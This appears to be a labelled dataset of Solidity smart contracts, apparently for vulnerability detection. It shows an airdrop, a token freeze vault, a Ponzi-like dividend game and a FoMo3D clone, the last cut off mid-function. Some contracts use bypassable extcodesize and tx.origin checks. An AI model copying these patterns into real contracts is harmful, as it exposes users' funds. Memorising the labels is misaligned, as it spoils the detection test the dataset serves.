source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
|---|---|---|
pragma solidity ^0.4.24;
interface Token {
function transfer(address _to, uint256 _value) external returns (bool);
function balanceOf(address who) external view returns (uint256 _user);
}
contract onlyOwner {
address public owner;
bool private stopped = false;
constructor() public {
owner = 0x073db5ac9aa943253a513cd692d16160f1c10e74;
}
modifier isRunning {
require(!stopped);
_;
}
function stop() isOwner public {
stopped = true;
}
function start() isOwner public {
stopped = false;
}
modifier isOwner {
require(msg.sender == owner);
_;
}
}
contract AirDrop is onlyOwner{
Token token;
address _creator = 0x073db5ac9aa943253a513cd692d16160f1c10e74;
event TransferredToken(address indexed to, uint256 value);
constructor() public{
address _tokenAddr = 0x99092a458b405fb8c06c5a3aa01cffd826019568;
token = Token(_tokenAddr);
}
function() external payable{
withdraw();
}
function sendResidualAmount(uint256 value) isOwner public returns(bool){
token.transfer(_creator, value*10**18);
emit TransferredToken(msg.sender, value);
}
function sendAmount(address _user, uint256 value) isOwner public returns(bool){
_user.transfer(value);
}
function sendInternally(uint256 tokensToSend, uint256 valueToPresent) internal {
require(msg.sender != address(0));
uint balance = userXRTBalance(msg.sender);
require(balance == 0);
token.transfer(msg.sender, tokensToSend);
emit TransferredToken(msg.sender, valueToPresent);
}
function userXRTBalance(address _user) private view returns(uint){
return token.balanceOf(_user);
}
function withdraw() isRunning private returns(bool) {
sendInternally(400*10**18,400);
return true;
}
} | 0 | 1,251 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
function decimals() public constant returns (uint value);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SilentNotaryTokenStorage is SafeMath, Ownable {
struct FrozenPortion {
uint unfreezeTime;
uint portionPercent;
uint portionAmount;
bool isUnfrozen;
}
event Unfrozen(uint tokenAmount);
ERC20 public token;
FrozenPortion[] public frozenPortions;
address public teamWallet;
uint public deployedTime;
bool public amountFixed;
function SilentNotaryTokenStorage (address _token, address _teamWallet, uint[] _freezePeriods, uint[] _freezePortions) public {
require(_token > 0);
require(_teamWallet > 0);
require(_freezePeriods.length > 0);
require(_freezePeriods.length == _freezePortions.length);
token = ERC20(_token);
teamWallet = _teamWallet;
deployedTime = now;
var cumulativeTime = deployedTime;
uint cumulativePercent = 0;
for (uint i = 0; i < _freezePeriods.length; i++) {
require(_freezePortions[i] > 0 && _freezePortions[i] <= 100);
cumulativePercent = safeAdd(cumulativePercent, _freezePortions[i]);
cumulativeTime = safeAdd(cumulativeTime, _freezePeriods[i]);
frozenPortions.push(FrozenPortion({
portionPercent: _freezePortions[i],
unfreezeTime: cumulativeTime,
portionAmount: 0,
isUnfrozen: false}));
}
assert(cumulativePercent == 100);
}
function unfreeze() public onlyOwner {
require(amountFixed);
uint unfrozenTokens = 0;
for (uint i = 0; i < frozenPortions.length; i++) {
var portion = frozenPortions[i];
if (portion.isUnfrozen)
continue;
if (portion.unfreezeTime < now) {
unfrozenTokens = safeAdd(unfrozenTokens, portion.portionAmount);
portion.isUnfrozen = true;
}
else
break;
}
transferTokens(unfrozenTokens);
}
function fixAmount() public onlyOwner {
require(!amountFixed);
amountFixed = true;
uint currentBalance = token.balanceOf(this);
for (uint i = 0; i < frozenPortions.length; i++) {
var portion = frozenPortions[i];
portion.portionAmount = safeDiv(safeMul(currentBalance, portion.portionPercent), 100);
}
}
function withdrawRemainder() public onlyOwner {
for (uint i = 0; i < frozenPortions.length; i++) {
if (!frozenPortions[i].isUnfrozen)
revert();
}
transferTokens(token.balanceOf(this));
}
function transferTokens(uint tokenAmount) private {
require(tokenAmount > 0);
var transferSuccess = token.transfer(teamWallet, tokenAmount);
assert(transferSuccess);
Unfrozen(tokenAmount);
}
} | 1 | 2,893 |
pragma solidity ^0.4.24;
contract FAIRFUNDS {
using SafeMath for uint256;
string public name = "FAIRFUNDS";
string public symbol = "FAIRFUNDS";
uint256 public initAmount;
uint256 public amountProportion;
uint256 public dividend;
uint256 public jackpot;
uint256 public jackpotProportion;
uint256 public fundsTokenDividend;
uint256 public promotionRatio;
uint256 public duration;
bool public activated = false;
address public developerAddr;
address public fundsDividendAddr;
uint256 public rId;
uint256 public sId;
mapping (uint256 => Indatasets.Round) public round;
mapping (uint256 => mapping (uint256 => Indatasets.Stage)) public stage;
mapping (address => Indatasets.Player) public player;
mapping (uint256 => mapping (address => uint256)) public playerRoundAmount;
mapping (uint256 => mapping (address => uint256)) public playerRoundSid;
mapping (uint256 => mapping (address => uint256)) public playerRoundwithdrawAmountFlag;
mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerStageAmount;
mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerStageAccAmount;
uint256[] amountLimit = [0, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250];
constructor()
public
{
developerAddr = msg.sender;
fundsDividendAddr = 0xd529ADaE263048f495A05B858c8E7C077F047813;
}
modifier isActivated() {
require(activated == true, "its not ready yet. check ?eta in discord");
_;
}
modifier senderVerify() {
require (msg.sender == tx.origin);
_;
}
modifier stageVerify(uint256 _rId, uint256 _sId, uint256 _amount) {
require(stage[_rId][_sId].amount.add(_amount) <= stage[_rId][_sId].targetAmount);
_;
}
modifier amountVerify() {
require(msg.value >= 100000000000000);
_;
}
modifier playerVerify() {
require(player[msg.sender].active == true);
_;
}
function activate()
public
{
require(msg.sender == developerAddr);
require(activated == false, "FUNDS already activated");
activated = true;
initAmount = 10000000000000000000;
amountProportion = 10;
dividend = 70;
jackpot = 20;
jackpotProportion = 70;
fundsTokenDividend = 10;
promotionRatio = 10;
duration = 15600;
rId = 1;
sId = 1;
round[rId].start = now;
initStage(rId, sId);
}
function()
isActivated()
senderVerify()
amountVerify()
payable
public
{
buyAnalysis(0x0);
}
function buy(address _recommendAddr)
isActivated()
senderVerify()
amountVerify()
public
payable
returns(uint256)
{
buyAnalysis(_recommendAddr);
}
function withdraw()
isActivated()
senderVerify()
playerVerify()
public
{
uint256 _rId = rId;
uint256 _sId = sId;
uint256 _amount;
uint256 _playerWithdrawAmountFlag;
(_amount, player[msg.sender].withdrawRid, player[msg.sender].withdrawSid, _playerWithdrawAmountFlag) = getPlayerDividendByStage(_rId, _sId, msg.sender);
if(_playerWithdrawAmountFlag > 0)
playerRoundwithdrawAmountFlag[player[msg.sender].withdrawRid][msg.sender] = _playerWithdrawAmountFlag;
if(player[msg.sender].promotionAmount > 0 ){
_amount = _amount.add(player[msg.sender].promotionAmount);
player[msg.sender].promotionAmount = 0;
}
msg.sender.transfer(_amount);
}
function buyAnalysis(address _recommendAddr)
private
{
uint256 _rId = rId;
uint256 _sId = sId;
uint256 _amount = msg.value;
uint256 _promotionRatio = promotionRatio;
if(now > stage[_rId][_sId].end && stage[_rId][_sId].targetAmount > stage[_rId][_sId].amount){
endRound(_rId, _sId);
_rId = rId;
_sId = sId;
round[_rId].start = now;
initStage(_rId, _sId);
_amount = limitAmount(_rId, _sId);
buyRoundDataRecord(_rId, _amount);
_promotionRatio = promotionDataRecord(_recommendAddr, _amount);
buyStageDataRecord(_rId, _sId, _promotionRatio, _amount);
buyPlayerDataRecord(_rId, _sId, _amount);
}else if(now <= stage[_rId][_sId].end){
_amount = limitAmount(_rId, _sId);
buyRoundDataRecord(_rId, _amount);
_promotionRatio = promotionDataRecord(_recommendAddr, _amount);
if(stage[_rId][_sId].amount.add(_amount) >= stage[_rId][_sId].targetAmount){
uint256 differenceAmount = (stage[_rId][_sId].targetAmount).sub(stage[_rId][_sId].amount);
buyStageDataRecord(_rId, _sId, _promotionRatio, differenceAmount);
buyPlayerDataRecord(_rId, _sId, differenceAmount);
endStage(_rId, _sId);
_sId = sId;
initStage(_rId, _sId);
round[_rId].endSid = _sId;
buyStageDataRecord(_rId, _sId, _promotionRatio, _amount.sub(differenceAmount));
buyPlayerDataRecord(_rId, _sId, _amount.sub(differenceAmount));
}else{
buyStageDataRecord(_rId, _sId, _promotionRatio, _amount);
buyPlayerDataRecord(_rId, _sId, _amount);
}
}
}
function initStage(uint256 _rId, uint256 _sId)
private
{
uint256 _targetAmount;
stage[_rId][_sId].start = now;
stage[_rId][_sId].end = now.add(duration);
if(_sId > 1){
stage[_rId][_sId - 1].end = now;
stage[_rId][_sId - 1].ended = true;
_targetAmount = (stage[_rId][_sId - 1].targetAmount.mul(amountProportion + 100)) / 100;
}else
_targetAmount = initAmount;
stage[_rId][_sId].targetAmount = _targetAmount;
}
function limitAmount(uint256 _rId, uint256 _sId)
private
returns(uint256)
{
uint256 _amount = msg.value;
if(amountLimit.length > _sId)
_amount = ((stage[_rId][_sId].targetAmount.mul(amountLimit[_sId])) / 1000).sub(playerStageAmount[_rId][_sId][msg.sender]);
else
_amount = ((stage[_rId][_sId].targetAmount.mul(500)) / 1000).sub(playerStageAmount[_rId][_sId][msg.sender]);
if(_amount >= msg.value)
return msg.value;
else
msg.sender.transfer(msg.value.sub(_amount));
return _amount;
}
function promotionDataRecord(address _recommendAddr, uint256 _amount)
private
returns(uint256)
{
uint256 _promotionRatio = promotionRatio;
if(_recommendAddr != 0x0000000000000000000000000000000000000000
&& _recommendAddr != msg.sender
&& player[_recommendAddr].active == true
)
player[_recommendAddr].promotionAmount = player[_recommendAddr].promotionAmount.add((_amount.mul(_promotionRatio)) / 100);
else
_promotionRatio = 0;
return _promotionRatio;
}
function buyRoundDataRecord(uint256 _rId, uint256 _amount)
private
{
round[_rId].amount = round[_rId].amount.add(_amount);
fundsDividendAddr.transfer(_amount.mul(fundsTokenDividend) / 100);
}
function buyStageDataRecord(uint256 _rId, uint256 _sId, uint256 _promotionRatio, uint256 _amount)
stageVerify(_rId, _sId, _amount)
private
{
if(_amount <= 0)
return;
stage[_rId][_sId].amount = stage[_rId][_sId].amount.add(_amount);
stage[_rId][_sId].dividendAmount = stage[_rId][_sId].dividendAmount.add((_amount.mul(dividend.sub(_promotionRatio))) / 100);
}
function buyPlayerDataRecord(uint256 _rId, uint256 _sId, uint256 _amount)
private
{
if(_amount <= 0)
return;
if(player[msg.sender].active == false){
player[msg.sender].active = true;
player[msg.sender].withdrawRid = _rId;
player[msg.sender].withdrawSid = _sId;
}
if(playerRoundAmount[_rId][msg.sender] == 0){
round[_rId].players++;
playerRoundSid[_rId][msg.sender] = _sId;
}
if(playerStageAmount[_rId][_sId][msg.sender] == 0)
stage[_rId][_sId].players++;
playerRoundAmount[_rId][msg.sender] = playerRoundAmount[_rId][msg.sender].add(_amount);
playerStageAmount[_rId][_sId][msg.sender] = playerStageAmount[_rId][_sId][msg.sender].add(_amount);
player[msg.sender].amount = player[msg.sender].amount.add(_amount);
if(playerRoundSid[_rId][msg.sender] > 0){
if(playerStageAccAmount[_rId][_sId][msg.sender] == 0){
for(uint256 i = playerRoundSid[_rId][msg.sender]; i < _sId; i++){
if(playerStageAmount[_rId][i][msg.sender] > 0)
playerStageAccAmount[_rId][_sId][msg.sender] = playerStageAccAmount[_rId][_sId][msg.sender].add(playerStageAmount[_rId][i][msg.sender]);
}
}
playerStageAccAmount[_rId][_sId][msg.sender] = playerStageAccAmount[_rId][_sId][msg.sender].add(_amount);
}
}
function endRound(uint256 _rId, uint256 _sId)
private
{
round[_rId].end = now;
round[_rId].ended = true;
round[_rId].endSid = _sId;
stage[_rId][_sId].end = now;
stage[_rId][_sId].ended = true;
if(stage[_rId][_sId].players == 0)
round[_rId + 1].jackpotAmount = round[_rId + 1].jackpotAmount.add(round[_rId].jackpotAmount);
else
round[_rId + 1].jackpotAmount = round[_rId + 1].jackpotAmount.add(round[_rId].jackpotAmount.mul(100 - jackpotProportion) / 100);
rId++;
sId = 1;
}
function endStage(uint256 _rId, uint256 _sId)
private
{
uint256 _jackpotAmount = stage[_rId][_sId].amount.mul(jackpot) / 100;
round[_rId].endSid = _sId;
round[_rId].jackpotAmount = round[_rId].jackpotAmount.add(_jackpotAmount);
stage[_rId][_sId].end = now;
stage[_rId][_sId].ended = true;
if(_sId > 1)
stage[_rId][_sId].accAmount = stage[_rId][_sId].targetAmount.add(stage[_rId][_sId - 1].accAmount);
else
stage[_rId][_sId].accAmount = stage[_rId][_sId].targetAmount;
sId++;
}
function getPlayerDividendByStage(uint256 _rId, uint256 _sId, address _playerAddr)
private
view
returns(uint256, uint256, uint256, uint256)
{
uint256 _dividend;
uint256 _stageNumber;
uint256 _startSid;
uint256 _playerAmount;
for(uint256 i = player[_playerAddr].withdrawRid; i <= _rId; i++){
if(playerRoundAmount[i][_playerAddr] == 0)
continue;
_playerAmount = 0;
_startSid = i == player[_playerAddr].withdrawRid ? player[_playerAddr].withdrawSid : 1;
for(uint256 j = _startSid; j < round[i].endSid; j++){
if(playerStageAccAmount[i][j][_playerAddr] > 0)
_playerAmount = playerStageAccAmount[i][j][_playerAddr];
if(_playerAmount == 0)
_playerAmount = playerRoundwithdrawAmountFlag[i][_playerAddr];
if(_playerAmount == 0)
continue;
_dividend = _dividend.add(
(
_playerAmount.mul(stage[i][j].dividendAmount)
).div(stage[i][j].accAmount)
);
_stageNumber++;
if(_stageNumber >= 50)
return (_dividend, i, j + 1, _playerAmount);
}
if(round[i].ended == true
&& stage[i][round[i].endSid].amount > 0
&& playerStageAmount[i][round[i].endSid][_playerAddr] > 0
){
_dividend = _dividend.add(getPlayerJackpot(_playerAddr, i));
_stageNumber++;
if(_stageNumber >= 50)
return (_dividend, i + 1, 1, 0);
}
}
return (_dividend, _rId, _sId, _playerAmount);
}
function getPlayerDividend(address _playerAddr)
public
view
returns(uint256)
{
uint256 _endRid = rId;
uint256 _startRid = player[_playerAddr].withdrawRid;
uint256 _startSid;
uint256 _dividend;
for(uint256 i = _startRid; i <= _endRid; i++){
if(i == _startRid)
_startSid = player[_playerAddr].withdrawSid;
else
_startSid = 1;
_dividend = _dividend.add(getPlayerDividendByRound(_playerAddr, i, _startSid));
}
return _dividend;
}
function getPlayerDividendByRound(address _playerAddr, uint256 _rId, uint256 _sId)
public
view
returns(uint256)
{
uint256 _dividend;
uint256 _startSid = _sId;
uint256 _endSid = round[_rId].endSid;
uint256 _playerAmount;
uint256 _totalAmount;
for(uint256 i = _startSid; i < _endSid; i++){
if(stage[_rId][i].ended == false)
continue;
_playerAmount = 0;
_totalAmount = 0;
for(uint256 j = 1; j <= i; j++){
if(playerStageAmount[_rId][j][_playerAddr] > 0)
_playerAmount = _playerAmount.add(playerStageAmount[_rId][j][_playerAddr]);
_totalAmount = _totalAmount.add(stage[_rId][j].amount);
}
if(_playerAmount == 0 || stage[_rId][i].dividendAmount == 0)
continue;
_dividend = _dividend.add((_playerAmount.mul(stage[_rId][i].dividendAmount)).div(_totalAmount));
}
if(round[_rId].ended == true)
_dividend = _dividend.add(getPlayerJackpot(_playerAddr, _rId));
return _dividend;
}
function getPlayerJackpot(address _playerAddr, uint256 _rId)
public
view
returns(uint256)
{
uint256 _dividend;
if(round[_rId].ended == false)
return _dividend;
uint256 _endSid = round[_rId].endSid;
uint256 _playerStageAmount = playerStageAmount[_rId][_endSid][_playerAddr];
uint256 _stageAmount = stage[_rId][_endSid].amount;
if(_stageAmount <= 0)
return _dividend;
uint256 _jackpotAmount = round[_rId].jackpotAmount.mul(jackpotProportion) / 100;
uint256 _stageDividendAmount = stage[_rId][_endSid].dividendAmount;
uint256 _stageJackpotAmount = (_stageAmount.mul(jackpot) / 100).add(_stageDividendAmount);
_dividend = _dividend.add(((_playerStageAmount.mul(_jackpotAmount)).div(_stageAmount)));
_dividend = _dividend.add(((_playerStageAmount.mul(_stageJackpotAmount)).div(_stageAmount)));
return _dividend;
}
function getHeadInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, bool)
{
return
(
rId,
sId,
round[rId].jackpotAmount,
stage[rId][sId].targetAmount,
stage[rId][sId].amount,
stage[rId][sId].end,
stage[rId][sId].ended
);
}
function getPersonalStatus(address _playerAddr)
public
view
returns(uint256, uint256, uint256)
{
if (player[_playerAddr].active == true){
return
(
round[rId].jackpotAmount,
playerRoundAmount[rId][_playerAddr],
getPlayerDividendByRound(_playerAddr, rId, 1)
);
}else{
return
(
round[rId].jackpotAmount,
0,
0
);
}
}
function getValueInfo(address _playerAddr)
public
view
returns(uint256, uint256)
{
if (player[_playerAddr].active == true){
return
(
getPlayerDividend(_playerAddr),
player[_playerAddr].promotionAmount
);
}else{
return
(
0,
0
);
}
}
}
library Indatasets {
struct Round {
uint256 start;
uint256 end;
bool ended;
uint256 endSid;
uint256 amount;
uint256 jackpotAmount;
uint256 players;
}
struct Stage {
uint256 start;
uint256 end;
bool ended;
uint256 targetAmount;
uint256 amount;
uint256 dividendAmount;
uint256 accAmount;
uint256 players;
}
struct Player {
bool active;
uint256 amount;
uint256 promotionAmount;
uint256 withdrawRid;
uint256 withdrawSid;
}
}
library SafeMath {
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 840 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularLong is F3Devents {}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xa6fd21aa986247357f404aa37a7bc90809da1ad8);
address public ceo;
address public cfo;
string constant public name = "Must Be Hit 4D";
string constant public symbol = "MBT4D";
uint256 private rndExtra_ = 30 seconds;
uint256 private rndGap_ = 30 seconds;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 12 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
ceo = msg.sender;
cfo = msg.sender;
fees_[0] = F3Ddatasets.TeamFee(30,0);
fees_[1] = F3Ddatasets.TeamFee(60,0);
fees_[2] = F3Ddatasets.TeamFee(20,0);
fees_[3] = F3Ddatasets.TeamFee(40,0);
potSplit_[0] = F3Ddatasets.PotSplit(25,0);
potSplit_[1] = F3Ddatasets.PotSplit(30,0);
potSplit_[2] = F3Ddatasets.PotSplit(10,0);
potSplit_[3] = F3Ddatasets.PotSplit(20,0);
}
modifier isActivated() {
require(activated_ == true, "Not Active!");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "Not Human");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "Too Less");
require(_eth <= 100000000000000000000000, "Too More");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function modCEOAddress(address newCEO)
isHuman()
public
{
require(address(0) != newCEO, "CEO Can not be 0");
require(ceo == msg.sender, "only ceo can modify ceo");
ceo = newCEO;
}
function modCFOAddress(address newCFO)
isHuman()
public
{
require(address(0) != newCFO, "CFO Can not be 0");
require(cfo == msg.sender, "only cfo can modify cfo");
cfo = newCFO;
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
}
else if (_affCode != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
}
else if (_affCode != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
else
{
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 7500000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
